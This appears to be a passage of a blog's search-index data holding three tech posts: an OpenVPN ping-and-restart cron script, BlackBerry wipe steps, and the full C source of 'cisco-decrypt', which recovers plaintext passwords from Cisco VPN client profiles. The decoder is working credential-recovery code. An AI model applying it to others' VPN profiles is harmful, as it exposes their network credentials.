style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#!/bin/bash\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e ! ping -c \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e -w \u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;xxx.xxx.xxx.xxx\u0026#34;\u003c/span\u003e \u0026amp;\u0026gt;/dev/null ; \u003cspan style=\"color:#66d9ef\"\u003ethen\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/etc/init.d/openvpn restart\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003efi\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eEseguite ogni 5 minuti come da cron:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e*/5 * * * *  /root/yeahup\u003c/code\u003e\u003c/p\u003e","title":"Auto Check - OpenVPN"},{"content":"Blackberry \u0026ldquo;Wipe-Handheld\u0026rdquo; command list:\n=\u0026gt; Options menu =\u0026gt; Security Options =\u0026gt; General Settings =\u0026gt; Menu =\u0026gt; Wipe handheld =\u0026gt; Enter password (\u0026ldquo;blackberry\u0026rdquo; by default or your security password)\n","permalink":"https://www.deepreflect.net/2009/09/04/blackberry-full-wipe/","summary":"\u003cp\u003eBlackberry \u0026ldquo;Wipe-Handheld\u0026rdquo; command list:\u003c/p\u003e\n\u003cp\u003e=\u0026gt; Options menu\n=\u0026gt; Security Options\n=\u0026gt; General Settings\n=\u0026gt; Menu\n=\u0026gt; Wipe handheld\n=\u0026gt; Enter password (\u0026ldquo;blackberry\u0026rdquo; by default or your security password)\u003c/p\u003e","title":"BlackBerry - Full Wipe"},{"content":"/* Decoder for password encoding of Cisco VPN client. Copyright (C) 2005 Maurice Massar Thanks to HAL-9000@evilscientists.de for decoding and posting the algorithm!This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ /* Requires libgcrypt version 1.1.90 or newer Compile with: gcc -Wall -o cisco-decrypt cisco-decrypt.c $(libgcrypt-config --libs --cflags) Usage: ./cisco-decrypt DEADBEEF...012345678 424242...7261 */ #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;gcrypt.h\u0026gt; #include \u0026lt;errno.h\u0026gt; int hex2bin_c(unsigned int c) { if ((c \u0026gt;= \u0026#39;0\u0026#39;)\u0026amp;\u0026amp;(c \u0026lt;= \u0026#39;9\u0026#39;)) return c - \u0026#39;0\u0026#39;; if ((c \u0026gt;= \u0026#39;A\u0026#39;)\u0026amp;\u0026amp;(c \u0026lt;= \u0026#39;F\u0026#39;)) return c - \u0026#39;A\u0026#39; + 10; if ((c \u0026gt;= \u0026#39;a\u0026#39;)\u0026amp;\u0026amp;(c \u0026lt;= \u0026#39;f\u0026#39;)) return c - \u0026#39;a\u0026#39; + 10; return -1; } int hex2bin(const char *str, char **bin, int *len) { char *p; int i, l; if (!bin) return EINVAL; for (i = 0; str[i] != \u0026#39;\\0\u0026#39;; i++) if (hex2bin_c(str[i]) == -1) return EINVAL; l = i; if ((l \u0026amp; 1) != 0) return EINVAL; l /= 2; p = malloc(l); if (p == NULL) return ENOMEM; for (i = 0; i \u0026lt; l; i++) p[i] = hex2bin_c(str[i*2]) \u0026lt;\u0026lt; 4 | hex2bin_c(str[i*2+1]); *bin = p; if (len) *len = l; return 0; } int c_decrypt(char *ct, int len, char **resp, char *reslenp) { const char *h1 = ct; const char *h4 = ct + 20; const char *enc = ct + 40; char ht[20], h2[20], h3[20], key[24]; const char *iv = h1; char *res; gcry_cipher_hd_t ctx; int reslen; if (len \u0026lt; 48) return 0; len -= 40; memcpy(ht, h1, 20); ht[19]++; gcry_md_hash_buffer(GCRY_MD_SHA1, h2, ht, 20); ht[19] += 2; gcry_md_hash_buffer(GCRY_MD_SHA1, h3, ht, 20); memcpy(key, h2, 20); memcpy(key+20, h3, 4); /* who cares about parity anyway? */ gcry_md_hash_buffer(GCRY_MD_SHA1, ht, enc, len); if (memcmp(h4, ht, 20) != 0) return -1; res = malloc(len); if (res == NULL) return -1; gcry_cipher_open(\u0026amp;ctx, GCRY_CIPHER_3DES, GCRY_CIPHER_MODE_CBC, 0); gcry_cipher_setkey(ctx, key, 24); gcry_cipher_setiv(ctx, iv, 8); gcry_cipher_decrypt(ctx, (unsigned char *)res, len, (unsigned char *)enc, len); gcry_cipher_close(ctx); reslen = len - res[len-1]; res[reslen] = \u0026#39;\\0\u0026#39;; if (resp) *resp = res; if (reslenp) *reslenp = reslen; return 0; } int main(int argc, char *argv[]) { int i, len, ret = 0; char *bin, *pw; gcry_check_version(NULL); for (i = 1; i \u0026lt; argc; i++) { ret = hex2bin(argv[i], \u0026amp;bin, \u0026amp;len); if (ret != 0) { perror(\u0026#34;decoding input\u0026#34;); continue; } ret = c_decrypt(bin, len, \u0026amp;pw, NULL); free(bin); if (ret != 0) { perror(\u0026#34;decrypting input\u0026#34;); continue; } printf(\u0026#34;%s\\n\u0026#34;, pw); free(pw); } exit(ret != 0); } Download: cisco-decrypt ","permalink":"https://www.deepreflect.net/2009/08/20/cisco-decrypt-c/","summary":"\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e/*\u003c/span\u003e Decoder \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e password encoding of Cisco VPN client\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCopyright (C) \u003cspan style=\"color:#ae81ff\"\u003e2005\u003c/span\u003e Maurice Massar\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eThanks to HAL\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e9000\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003eevilscientists\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ede \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e decoding \u003cspan style=\"color:#f92672\"\u003eand\u003c/span\u003e posting the algorithm\u003cspan style=\"color:#f92672\"\u003e!\u003c/span\u003eThis program is free software; you can redistribute it \u003cspan style=\"color:#f92672\"\u003eand\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003eor\u003c/span\u003e modify\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eit under the terms of the GNU General Public License as published by\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ethe Free Software Foundation; either version \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e of the License, \u003cspan style=\"color:#f92672\"\u003eor\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e(at your option) any later version\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eThis program is distributed \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e the hope that it will be useful,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ebut WITHOUT ANY WARRANTY; without even the implied warranty of\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMERCHANTABILITY \u003cspan style=\"color:#f92672\"\u003eor\u003c/span\u003e FITNESS FOR A PARTICULAR PURPOSE\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e  See the\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eGNU General Public License \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e more details\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eYou should have received a copy of the GNU General Public License\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ealong with this program; \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e, write to the Free Software\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFoundation, Inc\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e59\u003c/span\u003e Temple Place, Suite \u003cspan style=\"color:#ae81ff\"\u003e330\u003c/span\u003e, Boston, MA  \u003cspan style=\"color:#ae81ff\"\u003e02111\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1307\u003c/span\u003e  USA\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e/*\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRequires libgcrypt version \u003cspan style=\"color:#ae81ff\"\u003e1.1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e90\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003eor\u003c/span\u003e newer\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCompile with:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egcc \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eWall \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eo cisco\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edecrypt cisco\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edecrypt\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ec \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003e(libgcrypt\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003econfig \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003elibs \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003ecflags)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUsage:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e./\u003c/span\u003ecisco\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003edecrypt DEADBEEF\u003cspan style=\"color:#f92672\"\u003e...\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e012345678\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e424242.\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e..\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e7261\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include \u0026lt;stdio.h\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include \u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include \u0026lt;gcrypt.h\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include \u0026lt;errno.h\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003eint\u003c/span\u003e hex2bin_c(unsigned \u003cspan style=\"color:#a6e22e\"\u003eint\u003c/span\u003e c)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e ((c \u003cspan style=\"color:#f92672\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e)\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e(c \u003cspan style=\"color:#f92672\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;9\u0026#39;\u003c/span\u003e))\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e c \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e ((c \u003cspan style=\"color:#f92672\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;A\u0026#39;\u003c/span\u003e)\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e(c \u003cspan style=\"color:#f92672\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;F\u0026#39;\u003c/span\u003e))\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e c \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;A\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e ((c \u003cspan style=\"color:#f92672\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;a\u0026#39;\u003c/span\u003e)\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e(c \u003cspan style=\"color:#f92672\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;f\u0026#39;\u003c/span\u003e))\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e c \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;a\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003eint\u003c/span\u003e hex2bin(\u003cspan style=\"color:#66d9ef\"\u003econst\u003c/span\u003e char \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003estr, char \u003cspan style=\"color:#f92672\"\u003e**\u003c/span\u003ebin, \u003cspan style=\"color:#a6e22e\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003elen)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003echar \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003ep;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003eint\u003c/span\u003e i, l;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (\u003cspan style=\"color:#f92672\"\u003e!\u003c/span\u003ebin)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e EINVAL;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e (i \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e; str[i] \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\0\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u003c/span\u003e; i\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (hex2bin_c(str[i]) \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e EINVAL;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003el \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e i;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e ((l \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e EINVAL;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003el \u003cspan style=\"color:#f92672\"\u003e/=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ep \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e malloc(l);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (p \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e NULL)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e ENOMEM;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e (i \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e; i \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e l; i\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ep[i] \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e hex2bin_c(str[i\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e]) \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003e hex2bin_c(str[i\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e]);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003ebin \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e p;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (len)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003elen \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e l;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003eint\u003c/span\u003e c_decrypt(char \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003ect, \u003cspan style=\"color:#a6e22e\"\u003eint\u003c/span\u003e len, char \u003cspan style=\"color:#f92672\"\u003e**\u003c/span\u003eresp, char \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003ereslenp)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003econst\u003c/span\u003e char \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003eh1  \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e ct;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003econst\u003c/span\u003e char \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003eh4  \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e ct \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003econst\u003c/span\u003e char \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003eenc \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e ct \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e40\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003echar ht[\u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e], h2[\u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e], h3[\u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e], key[\u003cspan style=\"color:#ae81ff\"\u003e24\u003c/span\u003e];\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003econst\u003c/span\u003e char \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003eiv \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e h1;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003echar \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003eres;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egcry_cipher_hd_t ctx;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003eint\u003c/span\u003e reslen;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (len \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e48\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003elen \u003cspan style=\"color:#f92672\"\u003e-=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e40\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ememcpy(ht, h1, \u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eht[\u003cspan style=\"color:#ae81ff\"\u003e19\u003c/span\u003e]\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egcry_md_hash_buffer(GCRY_MD_SHA1, h2, ht, \u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eht[\u003cspan style=\"color:#ae81ff\"\u003e19\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egcry_md_hash_buffer(GCRY_MD_SHA1, h3, ht, \u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan 